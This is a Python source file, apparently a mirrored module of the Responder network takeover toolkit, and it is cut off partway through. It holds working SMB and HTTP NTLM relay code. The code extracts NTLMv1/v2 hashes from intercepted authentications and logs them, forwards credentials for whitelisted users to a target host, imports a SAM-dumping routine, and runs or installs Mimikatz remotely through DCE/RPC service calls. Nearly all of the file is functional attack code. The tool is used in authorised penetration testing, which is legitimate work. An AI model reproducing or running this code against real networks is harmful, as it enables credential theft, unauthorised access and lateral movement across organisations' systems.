mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-05 20:41:22 -07:00
2073 lines
93 KiB
Python
2073 lines
93 KiB
Python
#!/usr/bin/env python
|
|
# -*- coding: latin-1 -*-
|
|
# This file is part of Responder, a network take-over set of tools
|
|
# created and maintained by Laurent Gaffie.
|
|
# email: laurent.gaffie@gmail.com
|
|
# This program is free software: you can redistribute it and/or modify
|
|
# it under the terms of the GNU General Public License as published by
|
|
# the Free Software Foundation, either version 3 of the License, or
|
|
# (at your option) any later version.
|
|
#
|
|
# This program is distributed in the hope that it will be useful,
|
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
# GNU General Public License for more details.
|
|
#
|
|
# You should have received a copy of the GNU General Public License
|
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
import sys
|
|
if (sys.version_info > (3, 0)):
|
|
PY2OR3 = "PY3"
|
|
else:
|
|
PY2OR3 = "PY2"
|
|
import struct
|
|
import random
|
|
import time
|
|
import os
|
|
import binascii
|
|
import re
|
|
import datetime
|
|
import threading
|
|
import uuid
|
|
import codecs
|
|
import sys
|
|
from .RelayMultiPackets import *
|
|
from odict import OrderedDict
|
|
from base64 import b64decode, b64encode
|
|
|
|
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), 'impacket-dev/')))
|
|
from secretsdump import DumpSecrets
|
|
|
|
from SMBFinger.Finger import ShowSmallResults
|
|
from socket import *
|
|
|
|
SaveSam_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/relay-dumps/"
|
|
Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../../"
|
|
|
|
READTIMEOUT = 1
|
|
READ = "\xc0\x00"
|
|
RW = "\xc2\x00"
|
|
MimiKatzSVCName = ""
|
|
MimiKatzSVCID = ""
|
|
|
|
class Packet():
|
|
fields = OrderedDict([
|
|
("data", ""),
|
|
])
|
|
def __init__(self, **kw):
|
|
self.fields = OrderedDict(self.__class__.fields)
|
|
for k,v in list(kw.items()):
|
|
if callable(v):
|
|
self.fields[k] = v(self.fields[k])
|
|
else:
|
|
self.fields[k] = v
|
|
def __str__(self):
|
|
return "".join(map(str, list(self.fields.values())))
|
|
|
|
def StructWithLenPython2or3(endian,data):
|
|
#Python2...
|
|
if PY2OR3 == "PY2":
|
|
return struct.pack(endian, data)
|
|
#Python3...
|
|
else:
|
|
return struct.pack(endian, data).decode('latin-1')
|
|
|
|
def NetworkSendBufferPython2or3(data):
|
|
if PY2OR3 == "PY2":
|
|
return str(data)
|
|
else:
|
|
return bytes(str(data), 'latin-1')
|
|
|
|
def NetworkRecvBufferPython2or3(data):
|
|
if PY2OR3 == "PY2":
|
|
return str(data)
|
|
else:
|
|
return str(data.decode('latin-1'))
|
|
|
|
# Function used to write captured hashs to a file.
|
|
def WriteData(outfile, data, user):
|
|
if not os.path.isfile(outfile):
|
|
with open(outfile,"w") as outf:
|
|
outf.write(data + '\n')
|
|
return
|
|
with open(outfile,"rb") as filestr:
|
|
if re.search(NetworkSendBufferPython2or3(user), filestr.read()):
|
|
return False
|
|
elif re.search(re.escape(b'$'), NetworkSendBufferPython2or3(user)):
|
|
return False
|
|
with open(outfile,"a") as outf2:
|
|
outf2.write(data + '\n')
|
|
|
|
#Function used to verify if a previous auth attempt was made.
|
|
def ReadData(Outfile, Client, User, Domain, Target, cmd):
|
|
try:
|
|
with open(Logs_Path+"logs/"+Outfile,"rb") as filestr:
|
|
Login = Client+':'+User+':'+Domain+':'+Target+':Logon Failure'
|
|
if re.search(codecs.encode(NetworkSendBufferPython2or3(Login),'hex'), codecs.encode(filestr.read(),'hex')):
|
|
print("[+] User %s\\%s previous login attempt returned logon_failure. Not forwarding anymore to prevent account lockout\n"%(Domain,User))
|
|
return True
|
|
|
|
else:
|
|
return False
|
|
except:
|
|
raise
|
|
|
|
def ServeOPTIONS(data):
|
|
WebDav= re.search(b'OPTIONS', data)
|
|
if WebDav:
|
|
Buffer = WEBDAV_Options_Answer()
|
|
return str(Buffer)
|
|
|
|
return False
|
|
|
|
def IsSMBAnonymous(data):
|
|
SSPIStart = data.find(b'NTLMSSP')
|
|
SSPIString = data[SSPIStart:]
|
|
Username = struct.unpack('<H',SSPIString[38:40])[0]
|
|
if Username == 0:
|
|
return True
|
|
else:
|
|
return False
|
|
|
|
def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
|
|
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
|
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
|
LMHash = codecs.encode(data[LMhashOffset:LMhashOffset+LMhashLen],'hex').decode('latin-1').upper()
|
|
|
|
NthashLen = struct.unpack('<H',data[20:22])[0]
|
|
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
|
NTHash = codecs.encode(data[NthashOffset:NthashOffset+NthashLen],'hex').decode('latin-1').upper()
|
|
|
|
UserLen = struct.unpack('<H',data[36:38])[0]
|
|
UserOffset = struct.unpack('<H',data[40:42])[0]
|
|
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
|
|
|
if NthashLen == 24:
|
|
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
|
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
|
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
|
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, codecs.encode(key, 'hex'))
|
|
WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User)
|
|
if client == Host:
|
|
if Pivoting[0] == "1":
|
|
pass
|
|
else:
|
|
print("[+] Attempting reflective NTLM Relay, this is likely to fail.")
|
|
else:
|
|
if Pivoting[0] == "1":
|
|
pass
|
|
else:
|
|
print("[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445))))
|
|
|
|
if ('!' + User) in UserToRelay:
|
|
print("[+] Username: %s is blacklisted, dropping connection." % User)
|
|
return None, None
|
|
elif User in UserToRelay or "ALL" in UserToRelay:
|
|
if Pivoting[0] == "1":
|
|
return User, Domain
|
|
print("[+] Username: %s is whitelisted, forwarding credentials."%(User))
|
|
if ReadData("SMBRelay-Session.txt", client, User, HostName, Host, cmd=None):
|
|
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
|
return None, None
|
|
else:
|
|
return User, HostName
|
|
else:
|
|
print("[+] Username: %s not in target list, dropping connection."%(User))
|
|
return None, None
|
|
|
|
if NthashLen > 24:
|
|
DomainLen = struct.unpack('<H',data[28:30])[0]
|
|
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
|
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
|
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
|
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
|
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
|
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, codecs.encode(key, 'hex'), NTHash[:32], NTHash[32:])
|
|
WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User)
|
|
if client == Host:
|
|
if Pivoting[0] == "1":
|
|
pass
|
|
else:
|
|
print("[+] Attempting reflective NTLM Relay, this is likely to fail.")
|
|
else:
|
|
if Pivoting[0] == "1":
|
|
pass
|
|
else:
|
|
print("[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445))))
|
|
if User in UserToRelay or "ALL" in UserToRelay:
|
|
if Pivoting[0] == "1":
|
|
return User, Domain
|
|
|
|
print("[+] Username: %s is whitelisted, forwarding credentials."%(User))
|
|
|
|
if ReadData("SMBRelay-Session.txt", client, User, Domain, Host, cmd=None):
|
|
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
|
return None, None
|
|
else:
|
|
return User, Domain
|
|
else:
|
|
print("[+] Username: %s not in target list, dropping connection."%(User))
|
|
return None, None
|
|
|
|
|
|
def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB NTLMSSP v1/v2
|
|
SSPIStart = data.find(b'NTLMSSP')
|
|
SSPIString = data[SSPIStart:]
|
|
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
|
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
|
|
LMHash = codecs.encode(SSPIString[LMhashOffset:LMhashOffset+LMhashLen],'hex').decode('latin-1').upper()
|
|
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
|
|
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
|
|
|
|
if NthashLen == 24:
|
|
SMBHash = codecs.encode(SSPIString[NthashOffset:NthashOffset+NthashLen],'hex').decode('latin-1').upper()
|
|
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
|
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
|
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
|
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
|
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
|
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(challenge,'hex').decode('latin-1'))
|
|
WriteData(Logs_Path+"logs/SMB-Relay-SMB-"+client+".txt", WriteHash, Username)
|
|
if client == Host:
|
|
if Pivoting[0] == "1":
|
|
pass
|
|
else:
|
|
print("[+] Attempting reflective NTLM Relay, this is likely to fail.")
|
|
else:
|
|
if Pivoting[0] == "1":
|
|
pass
|
|
else:
|
|
print("[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445))))
|
|
if Username in UserToRelay or "ALL" in UserToRelay:
|
|
if Pivoting[0] == "1":
|
|
return Username, Domain
|
|
|
|
print("[+] Username: %s is whitelisted, forwarding credentials."%(Username))
|
|
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host, cmd=None):
|
|
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
|
return None, None
|
|
else:
|
|
return Username, Domain
|
|
else:
|
|
print("[+] Username: %s not in target list, dropping connection."%(Username))
|
|
return None, None
|
|
|
|
if NthashLen > 60:
|
|
SMBHash = codecs.encode(SSPIString[NthashOffset:NthashOffset+NthashLen],'hex').decode('latin-1').upper()
|
|
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
|
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
|
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
|
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
|
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
|
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
|
|
WriteData(Logs_Path+"logs/SMB-Relay-SMB-"+client+".txt", WriteHash, Username)
|
|
if client == Host:
|
|
if Pivoting[0] == "1":
|
|
pass
|
|
else:
|
|
print("[+] Attempting reflective NTLM Relay, this is likely to fail.")
|
|
else:
|
|
if Pivoting[0] == "1":
|
|
pass
|
|
else:
|
|
print("[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445))))
|
|
if Username in UserToRelay or "ALL" in UserToRelay:
|
|
if Pivoting[0] == "1":
|
|
return Username, Domain
|
|
print("[+] Username: %s is whitelisted, forwarding credentials."%(Username))
|
|
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host, cmd=None):
|
|
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
|
return None, None
|
|
else:
|
|
return Username, Domain
|
|
else:
|
|
print("[+] Username: %s not in target list, dropping connection."%(Username))
|
|
return None, None
|
|
|
|
#Get the index of the dialect we want. That is NT LM 0.12.
|
|
def Parse_Nego_Dialect(data):
|
|
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
|
|
for i in range(0, 16):
|
|
if Dialect[i] == 'NT LM 0.12':
|
|
return chr(i) + '\x00'
|
|
|
|
def ExtractSMBChallenge(data, Pivoting):
|
|
SSPIStart = data.find(b'NTLMSSP')
|
|
SSPIString = data[SSPIStart:]
|
|
Challenge = SSPIString[24:32]
|
|
if Pivoting[0] == "1":
|
|
return Challenge
|
|
else:
|
|
print("[+] Setting up SMB relay with SMB challenge:", codecs.encode(Challenge,'hex').decode('latin-1'))
|
|
return Challenge
|
|
|
|
def ExtractHTTPChallenge(data,Pivoting):
|
|
SecBlobLen = struct.unpack("<h", data[43:45])[0]
|
|
if SecBlobLen <= 257:
|
|
Challenge = data[102:110]
|
|
if SecBlobLen >= 258:
|
|
Challenge = data[106:114]
|
|
if Pivoting[0] == "1":
|
|
return Challenge
|
|
else:
|
|
print("[+] Setting up HTTP relay with SMB challenge:", codecs.encode(Challenge,'hex').decode('latin-1'))
|
|
return Challenge
|
|
|
|
#Here we extract the complete NTLM message from an HTTP request and we will later feed it to our SMB target.
|
|
def ExtractRawNTLMPacket(data):
|
|
SecBlobLen = struct.unpack("<h", data[43:45])[0]
|
|
SSP = re.search(b'NTLMSSP', data[47:]).start()
|
|
RawNTLM = data[47+SSP:47+SecBlobLen]
|
|
return RawNTLM
|
|
|
|
#Is this a Guest sessions?
|
|
def GetSessionResponseFlags(data):
|
|
if data[41:43] == b"\x01\x00":
|
|
print("[+] Server returned session positive, but as guest. Psexec should fail even if authentication was successful..")
|
|
|
|
#Keeps our connection alive.
|
|
def SMBKeepAlive(s, data):
|
|
head = SMBHeader(cmd="\x2b",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
t = SMBEcho()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
time.sleep(1)
|
|
|
|
|
|
#Used for SMB read operations. We grab everything past the Byte Count len in the packet.
|
|
def ExtractCommandOutput(data):
|
|
data = data.encode('latin-1')
|
|
DataLen = struct.unpack("<H", data[61:63])[0]
|
|
Output = data[63:63+DataLen]
|
|
return Output
|
|
|
|
#Used for SMB/DCE-RPC read operations. We grab everything past the Byte Count len in the packet.
|
|
def ExtractRPCCommandOutput(data):
|
|
DataLen = struct.unpack("<H", data[61:63])[0]
|
|
if data[64:66] == b"\x05\x00":
|
|
Output = data[88:88+DataLen].decode('latin-1')
|
|
else:
|
|
Output = data[64:64+DataLen].decode('latin-1')
|
|
return Output
|
|
|
|
#from:http://stackoverflow.com/questions/5194057/better-way-to-convert-file-sizes-in-python
|
|
def GetReadableSize(size,precision=2):
|
|
suffixes=['B','KB','MB','GB','TB']
|
|
suffixIndex = 0
|
|
while size > 1024 and suffixIndex < 4:
|
|
suffixIndex += 1
|
|
size = size/1024.0
|
|
return "%.*f%s"%(precision,size,suffixes[suffixIndex])
|
|
|
|
def WriteOutputToFile(data, File):
|
|
with open(SaveSam_Path+"/"+File, "wb") as file:
|
|
file.write(data.encode('latin-1'))
|
|
|
|
def FindLocalIp():
|
|
s = socket(AF_INET, SOCK_DGRAM)
|
|
try:
|
|
s.connect(("1.1.1.1", 0))
|
|
IP = s.getsockname()[0]
|
|
s.close()
|
|
except:
|
|
print("It seems like you're not connected to any network..")
|
|
IP = '127.0.0.1'
|
|
s.close()
|
|
return IP
|
|
|
|
def longueur(payload):
|
|
length = StructWithLenPython2or3(">i", len(''.join(payload)))
|
|
return length
|
|
|
|
def ConvertToClassC(Host, Class):
|
|
Class = Class.strip()
|
|
Ip = re.split(r'(\.|/)', Host)
|
|
if Class == "/24":
|
|
Ip[6:7] = ["0"]
|
|
return ''.join(Ip)+Class
|
|
if Class == "/16":
|
|
Ip[4:5] = ["0"]
|
|
Ip[6:7] = ["0"]
|
|
return ''.join(Ip)+Class
|
|
else:
|
|
print("Illegal class, please use: /24 or /16")
|
|
return None
|
|
|
|
def GenerateRandomFileName():
|
|
return ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(random.randint(5, 15))])
|
|
|
|
def GenerateServiceName():
|
|
return ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
|
|
|
|
def GenerateServiceID():
|
|
return''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
|
|
|
|
def GenerateNamedPipeName():
|
|
return''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(random.randint(3, 30))])
|
|
|
|
def Generateuuid():
|
|
RandomStr = binascii.b2a_hex(os.urandom(16))
|
|
x = uuid.UUID(bytes_le=codecs.decode(RandomStr,'hex'))
|
|
DisplayGUID = uuid.UUID(RandomStr.decode('latin-1'))
|
|
DisplayGUIDle = x.bytes
|
|
return str(DisplayGUID), str(DisplayGUIDle.decode('latin-1'))
|
|
|
|
###
|
|
#SMBRelay grab
|
|
###
|
|
|
|
def GrabNegotiateFromTarget(data, s, Pivoting):
|
|
## Start with nego protocol + session setup negotiate to our target.
|
|
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8")
|
|
n = SMBNegoCairo(Data = SMBNegoCairoData())
|
|
n.calculate()
|
|
packet0 = str(h)+str(n)
|
|
buffer0 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer0))
|
|
smbdata = s.recv(4096)
|
|
##Session Setup AndX Request, NTLMSSP_NEGOTIATE to our target.
|
|
if smbdata[8:10] == b'\x72\x00':
|
|
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00")
|
|
t = data[36:].decode('latin-1') #simply grab the whole packet except the smb header from the client.
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
smbdata = s.recv(4096)
|
|
challenge = ExtractSMBChallenge(smbdata, Pivoting)#Grab the challenge, in case we want to crack the hash later.
|
|
return data, smbdata, s, challenge
|
|
|
|
def SendChallengeToClient(data, smbdata, conn):
|
|
##Relay all that to our client.
|
|
if data[8:10] == b'\x73\x00':
|
|
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
|
|
t = smbdata[36:]#simply grab the whole packet except the smb header from the client.
|
|
packet0 = str(head)+str(t)
|
|
buffer0 = longueur(packet0)+packet0
|
|
conn.send(NetworkSendBufferPython2or3(buffer0))
|
|
data = conn.recv(4096)
|
|
return data, conn
|
|
|
|
##This function is one of the main SMB read function. We request all the time 65520 bytes to the server.
|
|
#Add (+32 (SMBHeader) +4 Netbios Session Header + 27 for the ReadAndx structure) +63 and you end up with 65583.
|
|
#set the socket to non-blocking then grab all data, if our target has less than 65520 (last packet) grab the incoming
|
|
#data until we reach our custom timeout. Set back the socket to blocking and return the data.
|
|
def SMBReadRecv(s):
|
|
Completedata=[]
|
|
data=''
|
|
Start=time.time()
|
|
s.setblocking(0)
|
|
while 1:
|
|
if len(''.join(Completedata)) == 65583:
|
|
break
|
|
if Completedata and time.time()-Start > READTIMEOUT:#Read timeout
|
|
break
|
|
try:
|
|
data = s.recv(65583)
|
|
if data:
|
|
Completedata.append(data.decode('latin-1'))
|
|
Start=time.time()
|
|
else:
|
|
break
|
|
except:
|
|
pass
|
|
|
|
s.setblocking(1)
|
|
return s, ''.join(Completedata)
|
|
|
|
##We send our ReadAndX request with our offset and call SMBReadRecv
|
|
def ReadOutput(DataOffset, f, data, s):
|
|
if isinstance(data, str):
|
|
data = data.encode('latin-1')
|
|
head = SMBHeader(cmd="\x2e",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x12\x00")
|
|
t = ReadRequestAndX(FID=f.decode('latin-1'), Offset = DataOffset)
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
s, data = SMBReadRecv(s)
|
|
return data, s, ExtractCommandOutput(data)
|
|
|
|
##We send our WriteAndX request with our offset.
|
|
def WriteOutput(DataOffset, Chunk, data, f, s):
|
|
head = SMBHeader(cmd="\x2f", flag1="\x18", flag2="\x07\xc8", uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x12\x00")
|
|
t = SMBWriteData(FID=f.decode('latin-1'), Offset = DataOffset, Data= Chunk)
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
##LockingAndX //should not happens since we didn't request an oplock, but just in case..
|
|
if data[8:10] == b"\x24\x00":
|
|
head = SMBHeader(cmd="\x24", flag1="\x88", flag2="\x07\xc8", uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x12\x00")
|
|
t = SMBLockingAndXResponse()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
return data, s
|
|
|
|
##When used this function will inject an OpenAndX file not found SMB Header into an incoming packet.
|
|
##This is usefull for us when an operation fail. We land back to our shell send right away a
|
|
##Tree Connect IPC$ and start to send SMB echos so we don't loose this precious connection.
|
|
def ModifySMBRetCode(data):
|
|
if isinstance(data, str):
|
|
modified = list(data)
|
|
modified[8:10] = str("\x2d\x34")
|
|
return ''.join(modified)
|
|
else:
|
|
data = data.decode('latin-1')
|
|
modified = list(data)
|
|
modified[8:10] = str("\x2d\x34")
|
|
return ''.join(modified)
|
|
|
|
##We send our ReadAndX request with our offset and call recv()
|
|
def SMBDCERPCReadOutput(DataOffset, length,f, data, s):
|
|
head = SMBHeader(cmd="\x2e",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x12\x00")
|
|
t = SMBDCERPCReadRequestAndX(FID=f.decode('latin-1'), MaxCountLow=length, MinCount=length,Offset = DataOffset)
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(8092)
|
|
return data, s, ExtractRPCCommandOutput(data)
|
|
|
|
###
|
|
#BindCall
|
|
###
|
|
|
|
def BindCall(UID, Version, File, data, s):
|
|
Data = data
|
|
head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x05\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
t = SMBNTCreateDataSVCCTL(FileName=File)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
if isinstance(data, str):
|
|
data.encode('latin-1')
|
|
|
|
## Fail Handling.
|
|
if data[8:10] == b"\xa2\x22":
|
|
print("[+] NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation.\n")
|
|
return ModifySMBRetCode(data)
|
|
|
|
## Fail Handling.
|
|
if data[8:10]== b"\xa2\xac":##Pipe is sleeping.
|
|
f = "PipeNotAvailable"
|
|
return Data, s, f
|
|
|
|
## Fail Handling.
|
|
if data[8:10]== b"\xa2\x34":##Pipe is not enabled.
|
|
f = "ServiceNotFound"
|
|
return Data, s, f
|
|
|
|
## DCE/RPC Write.
|
|
if data[8:10] == b"\xa2\x00":
|
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
x = SMBDCEData(CTX0UID=UID, CTX0UIDVersion=Version)
|
|
x.calculate()
|
|
f = data[42:44]
|
|
t = SMBDCERPCWriteData(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC Read.
|
|
if data[8:10] == b"\x2f\x00":
|
|
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
t = SMBReadData(FID=f.decode('latin-1'),MaxCountLow="\x00\x04", MinCount="\x00\x04",Offset="\x00\x00\x00\x00")
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
return data, s, f
|
|
|
|
###########################
|
|
#Launch A Mimikatz CMD
|
|
###########################
|
|
def MimiKatzRPC(Command, f, host, data, s):
|
|
## DCE/RPC MimiKatzRPC.
|
|
## DCE/RPC Write.
|
|
if data[8:10] == b"\x2e\x00":
|
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCEMimiKatzRPCCommand(CMD=Command)
|
|
w.calculate()
|
|
x = SMBDCEPacketData(Data=w, Opnum="\x03\x00")
|
|
x.calculate()
|
|
t = SMBDCERPCWriteData(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC Read.
|
|
if data[8:10] == b"\x2f\x00":
|
|
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
t = SMBReadData(FID=f.decode('latin-1'),MaxCountLow=StructWithLenPython2or3('<h', 1024), MinCount=StructWithLenPython2or3('<h', 1024), Offset="\x00\x00\x00\x00")
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
##ReadRequest.
|
|
##Used when output =< 1024, therefore only one read.
|
|
if data[8:10] == b"\x2e\x00":
|
|
#First Packet from output contains the complete len of what's coming, don't print it.
|
|
LenOut = len(ExtractRPCCommandOutput(data))
|
|
Output = ExtractRPCCommandOutput(data)[12:LenOut-9]
|
|
print(Output)
|
|
return data,s,f
|
|
|
|
##Do large RPC reads..
|
|
if data[8:10] == b"\x2e\x05":
|
|
buffsize = 1024
|
|
filesize = struct.unpack('<i', data[96:100])[0]*2
|
|
print('File size: %s'%(GetReadableSize(filesize)))
|
|
dataoffset = 0
|
|
start_time = time.time()
|
|
##First Packet from output contains the complete len of what's coming, don't print it.
|
|
Output = ExtractRPCCommandOutput(data)[12:]
|
|
while True:
|
|
dataoffset = dataoffset + buffsize
|
|
if data[64:66] == b"\x05\x00" and data[67:68] == b"\x02":##Last DCE/RPC Frag
|
|
LastFragLen = struct.unpack('<h', data[61:63])[0]
|
|
if LastFragLen < 1024:
|
|
Output += ExtractRPCCommandOutput(data)
|
|
break
|
|
else:
|
|
data, s, out = SMBDCERPCReadOutput(StructWithLenPython2or3("<i", dataoffset), StructWithLenPython2or3('<h', 4096),f, data, s)
|
|
Output += ExtractRPCCommandOutput(data)
|
|
break
|
|
|
|
if data[64:66] == b"\x05\x00" and data[67:68] == b"\x03":##First and Last DCE/RPCFrag
|
|
data, s, out = SMBDCERPCReadOutput(StructWithLenPython2or3("<i", dataoffset), StructWithLenPython2or3('<h', 4096),f, data, s)
|
|
Output += ExtractRPCCommandOutput(data)
|
|
break
|
|
|
|
else:
|
|
data, s, out = SMBDCERPCReadOutput(StructWithLenPython2or3("<i", dataoffset), StructWithLenPython2or3('<h', buffsize),f, data, s)
|
|
Output += ExtractRPCCommandOutput(data)
|
|
Seconds = (time.time() - start_time)
|
|
if Seconds>60:
|
|
minutes = Seconds/60
|
|
print('Fetched in: %.3g minutes.'%(minutes))
|
|
if Seconds<60:
|
|
print('Fetched in: %.3g seconds'%(Seconds))
|
|
print("Output:\n", Output)
|
|
return data,s,f
|
|
|
|
######################################
|
|
#Launch And Create a MimiKatz Service
|
|
######################################
|
|
def CreateMimikatzService(Command, ServiceNameChars, ServiceIDChars, f, host, data, s):
|
|
## DCE/RPC SVCCTLOpenManagerW.
|
|
if data[8:10] == b"\x2e\x00":
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=host)
|
|
w.calculate()
|
